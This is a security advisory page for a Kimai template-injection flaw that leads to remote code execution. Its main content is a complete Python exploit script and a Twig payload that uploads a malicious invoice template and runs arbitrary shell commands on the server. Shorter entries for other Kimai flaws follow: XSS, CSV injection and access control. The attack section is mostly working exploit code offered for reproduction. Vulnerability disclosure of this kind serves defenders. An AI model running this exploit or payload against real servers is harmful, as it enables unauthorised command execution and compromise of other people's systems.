Where
-Infinity
0
Severity
7.2
CSRF
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Description

The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.

Snippet of Vulnerable Code:

php public function render(array $timesheets, TimesheetQuery $query): Response { ... $content = $this->twig->render($this->getTemplate(), arraymerge([ 'entries' => $timesheets, 'query' => $query, ... ], $this->getOptions($query))); ... $content = $this->converter->convertToPdf($content, $pdfOptions); ... return $this->createPdfResponse($content, $context); }

The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.

In below, you can find the docker-compose file was used for this testing:

yaml version: '3.5' services:

sqldb: image: mysql:5.7 environment: - MYSQLROOTHOST='%' - MYSQLDATABASE=kimai - MYSQLUSER=kimaiuser - MYSQLPASSWORD=kimaipassword - MYSQLROOTPASSWORD=changemeplease

ports: - 3336:3306 volumes: - mysql:/var/lib/mysql command: --default-storage-engine innodb restart: unless-stopped healthcheck: test: mysqladmin -p$$MYSQLROOTPASSWORD ping -h 127.0.0.1 interval: 20s startperiod: 10s timeout: 10s retries: 3

nginx: image: tobybatch/nginx-fpm-reverse-proxy ports: - 8001:80 volumes: - public:/opt/kimai/public:ro restart: unless-stopped dependson: - kimai healthcheck: test: wget --spider http://nginx/health || exit 1 interval: 20s startperiod: 10s timeout: 10s retries: 3

kimai: # This is the latest FPM image of kimai image: kimai/kimai2:fpm-prod environment: - ADMINMAIL=admin@kimai.local - ADMINPASS=changemeplease - DATABASEURL=mysql://kimaiuser:kimaipassword@sqldb/kimai - TRUSTEDHOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2 - memorylimit=1024 volumes: - public:/opt/kimai/public # - var:/opt/kimai/var # - ./ldap.conf:/etc/openldap/ldap.conf:z # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z restart: unless-stopped

phpmyadmin: image: phpmyadmin restart: always ports: - 8081:80 environment: - PMAARBITRARY=1

postfix: image: catatnight/postfix:latest environment: maildomain: neontribe.co.uk smtpuser: kimai:kimai restart: unless-stopped

volumes: var: public: mysql:

Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system

I've also attached an automated script to ease up the process of reproducing: # Proof of Concept python import requests import re import string import random import sys

session = requests.session() BASEURL = sys.argv[1]

def generate(size=6, chars=string.asciiuppercase + string.digits): return ''.join(random.choice(chars) for in range(size))

def getcsrf(path, session): try: projectid = "" csrftoken = "" previewid = "" templateids = [] activitycustomerlist = [] csrfloginresponse = session.get(f"{BASEURL}{path}").text # Extract CSRF Token pattern = re.compile(r'<input[^>]?name=["\'].?token[^"\']["\'][^>]?value="\'["\'][^>]?>', re.IGNORECASE) match = pattern.search(csrfloginresponse) if match: csrftoken = match.group(1) if "performSearch" in path: previewpattern = re.compile(r'<div[^>]id="preview-token"[^>]data-value="(.?)"[^>]>', re.IGNORECASE) previewmatch = previewpattern.search(csrfloginresponse) if previewmatch: previewid = previewmatch.group(1)

templatepattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE) templatematches = templatepattern.findall(csrfloginresponse) if templatematches: templateids = [int(id) for id in templatematches] if "timesheet" in path: optionpattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE) optionmatches = optionpattern.findall(csrfloginresponse) if optionmatches: activitycustomerlist = [(int(activityid), int(customerid)) for activityid, customerid in optionmatches] if "project" in path or "activity" in path: projectidmatch = re.search(r'<option value="(\d+)"[^>]data-currency="EUR"[^>]>', csrfloginresponse) if projectidmatch: projectid = projectidmatch.group(1) return csrftoken, projectid, previewid, templateids, activitycustomerlist except Exception as e: print(f"Error occurred: {e}") return None, None, None, None, None

def login(username,password,csrf,session): try: params = {"username": username, "password": password, "csrftoken": csrf} loginresponse = session.post(f"{BASEURL}/logincheck", data=params, allowredirects=True) if "I forgot my password" not in loginresponse.text: print(f"[+] Logged in: {username}") return session else: print("Wrong username,password", username) exit(1) except Exception as e: print(str(e)) pass

def createcustomer(token,name,session): try:

data = { 'customereditform[name]': (None, name), 'customereditform[color]': (None, ''), 'customereditform[comment]': (None, 'xx'), 'customereditform[address]': (None, 'xx'), 'customereditform[company]': (None, ''), 'customereditform[number]': (None, '0002'), 'customereditform[vatId]': (None, ''), 'customereditform[country]': (None, 'DE'), 'customereditform[currency]': (None, 'EUR'), 'customereditform[timezone]': (None, 'UTC'), 'customereditform[contact]': (None, ''), 'customereditform[email]': (None, ''), 'customereditform[homepage]': (None, ''), 'customereditform[mobile]': (None, ''), 'customereditform[phone]': (None, ''), 'customereditform[fax]': (None, ''), 'customereditform[budget]': (None, '0.00'), 'customereditform[timeBudget]': (None, '0:00'), 'customereditform[budgetType]': (None, ''), 'customereditform[visible]': (None, '1'), 'customereditform[billable]': (None, '1'), 'customereditform[invoiceTemplate]': (None, ''), 'customereditform[invoiceText]': (None, ''), 'customereditform[token]': (None, token), }

response = session.post(f"{BASEURL}/admin/customer/create", files=data)

except Exception as e: print(str(e))

def createproject(token, name,projectid ,session): try: formdata = { 'projecteditform[name]': (None, name), 'projecteditform[color]': (None, ''), 'projecteditform[comment]': (None, ''), 'projecteditform[customer]': (None, projectid), 'projecteditform[orderNumber]': (None, ''), 'projecteditform[orderDate]': (None, ''), 'projecteditform[start]': (None, ''), 'projecteditform[end]': (None, ''), 'projecteditform[budget]': (None, '0.00'), 'projecteditform[timeBudget]': (None, '0:00'), 'projecteditform[budgetType]': (None, ''), 'projecteditform[visible]': (None, '1'), 'projecteditform[billable]': (None, '1'), 'projecteditform[globalActivities]': (None, '1'), 'projecteditform[invoiceText]': (None, ''), 'projecteditform[token]': (None, token) } response = session.post(f"{BASEURL}/admin/project/create", files=formdata) except Exception as e: print(str(e))

def createactivity(token, name,projectid ,session): try: formdata = { 'activityeditform[name]': (None, name), 'activityeditform[color]': (None, ''), 'activityeditform[comment]': (None, ''), 'activityeditform[project]': (None, ''), 'activityeditform[budget]': (None, '0.00'), 'activityeditform[timeBudget]': (None, '0:00'), 'activityeditform[budgetType]': (None, ''), 'activityeditform[visible]': (None, '1'), 'activityeditform[billable]': (None, '1'), 'activityeditform[invoiceText]': (None, ''), 'activityeditform[token]': (None, token), } response = session.post(f"{BASEURL}/admin/activity/create", files=formdata) if response.statuscode == 201: print(f"[+] Activity created: {name}")

except Exception as e: print(f"An error occurred: {str(e)}")

def uploadmaliciousdocument(token,session): try: formdata = { 'invoicedocumentuploadform[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'), 'invoicedocumentuploadform[token]': (None, token) } response = session.post(f"{BASEURL}/invoice/documentupload", files=formdata) if ".pdf.twig" in response.text: print("[+] Twig uploaded successfully!") else: print("[-] Error while uploading, exiting..") exit(1)

except Exception as e: print(f"An error occurred: {str(e)}") import re

def createmalicioustemplate(token, name, session): try: data = { 'invoicetemplateform[name]': name, 'invoicetemplateform[title]': name, 'invoicetemplateform[company]': name, 'invoicetemplateform[vatId]': '', 'invoicetemplateform[address]': '', 'invoicetemplateform[contact]': '', 'invoicetemplateform[paymentTerms]': '', 'invoicetemplateform[paymentDetails]': '', 'invoicetemplateform[dueDays]': '30', 'invoicetemplateform[vat]': '0.000', 'invoicetemplateform[language]': 'en', 'invoicetemplateform[numberGenerator]': 'default', 'invoicetemplateform[renderer]': 'din', 'invoicetemplateform[calculator]': 'default', 'invoicetemplateform[token]': token } response = session.post(f"{BASEURL}/invoice/template/create", data=data) # Define the regex pattern to capture the template ID and match the name pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s<td class="alwaysVisible colname">{re.escape(name)}</td>', re.DOTALL) # Search the response text with the regex pattern match = pattern.search(response.text) if match: templateid = match.group(1) # Extract the captured group print(f"[+] Malicious Template: {name}, Template ID: {templateid}") return templateid # Return the captured template ID else: print("[-] Failed to capture the template ID") createmalicioustemplate(token,name,session) except Exception as e: print(f"An error occurred: {str(e)}") exit(1)

def createtimesheet(token, activity, project, session): formdata = { 'timesheeteditform[begindate]': (None, '01/01/1980'), 'timesheeteditform[begintime]': (None, '12:00 AM'), 'timesheeteditform[duration]': (None, '0:15'), 'timesheeteditform[endtime]': (None, '12:15 AM'), 'timesheeteditform[customer]': (None, ''), 'timesheeteditform[project]': (None, project), 'timesheeteditform[activity]': (None, activity), 'timesheeteditform[description]': (None, ''), 'timesheeteditform[fixedRate]': (None, ''), 'timesheeteditform[hourlyRate]': (None, ''), 'timesheeteditform[billableMode]': (None, 'auto'), 'timesheeteditform[token]': (None, token) } response = session.post(f"{BASEURL}/timesheet/create", files=formdata,allowredirects=False) if response.statuscode == 302: # Changed to 200 as 301 is for redirection print(f"[+] Created a new timesheet")

##############################

login csrf, , , , = getcsrf("/login", session) login("admin", "password", csrf, session) login(sys.argv[2],sys.argv[3],csrf,session) create new customer

getcustomertoken, , , , = getcsrf("/admin/customer/create", session) customername = generate() createcustomer(getcustomertoken, customername, session) create new project with customername

getprojecttoken, customerid, , , = getcsrf("/admin/project/create", session) projectname = generate() createproject(getprojecttoken, projectname, customerid, session)

create new activity getactivitytoken, projectid, , , = getcsrf("/admin/activity/create", session) activityname = generate() createactivity(getactivitytoken, activityname, projectid, session)

EXPLOIT ######################

upload malicious file uploadtoken, , , , = getcsrf("/invoice/documentupload", session) uploadmaliciousdocument(uploadtoken, session)

create malicious template to trigger the SSTI gettemplatetoken, , , , = getcsrf("/invoice/template/create", session) template = generate() tempid = createmalicioustemplate(gettemplatetoken, template, session)

create a timesheet with projectid and activityid activitycustomerlist = getcsrf("/timesheet/create", session)[4] # get the activitycustomerlist from getcsrf function

print(f"[+] Constructing renderer URLs..") iterate through all relative projectids and customerid for exploit stabiliy for activityid, customerid in activitycustomerlist: csrf = getcsrf("/timesheet/create", session)[0] # Update CSRF token for each iteration print(f"[+] Creating timesheets with: Activity ID: {activityid}, Customer ID: {customerid}") createtimesheet(csrf, activityid, customerid, session) postData = { "searchTerm": "", "daterange": "", "state": "1", "billable": "0", "exported": "1", "orderBy": "begin", "order": "DESC", "exporter": "pdf" } # export timesheets so they appear in exported invoices export = session.post(f"{BASEURL}/timesheet/export/", data=postData).text if "PDF-1.4" in export: csrf, , , , = getcsrf("/invoice/", session) # get preview token to construct the preview URL to trigger SSTI csrf, projectid, previewid, templateids, activitycustomerlist = getcsrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&token={csrf}&template={tempid}", session) for templateid in templateids: rendererURL = f"{BASEURL}/invoice/preview/{customerid}/{previewid}?searchTerm=&daterange=&exported=1&template={tempid}&invoiceDate=&token={csrf}&customers[]={customerid}" # trigger the payload by visiting the renderer URL rce = session.get(rendererURL) if "PDF-1.4" in rce.text: print(rendererURL) print("[+] successfully executed payload") # save the pdf locally since rendered URL will expire as soon as we end the session pdf = f"{generate()}.pdf" with open(pdf,'wb') as pdfFile: pdfFile.write(rce.content) pdfFile.flush() pdfFile.close() print(f"[+] Saved results with name: {pdf}") exit(1)

print("[-] Failed to execute payload, try to trigger manually..")

which can be executed as such: bash $ python3 spl0it.py http://localhost:8001/en admin password "ls -la"

this will download the rendered file which will contain the results of the RCE:

!kimaiRCE

Impact

Remote Code Execution

1 / 2
First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Cross Site Scripting (XSS) vulnerability in kevinpapst kimai2 1.30.0 in /src/Twig/Runtime/MarkdownExtension.php, allows attackers to gain escalated privileges.

First published (updated )
Severity
7.8
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CSV Injection (aka Excel Macro Injection or Formula Injection) exists in creating new timesheet in Kimai. By filling the Description field with malicious payload, it will be mistreated while exporting to a CSV file.

First published (updated )
Severity
6.3
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

kimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

First published (updated )
Severity
6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

kimai2 is vulnerable to Improper Access Control

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203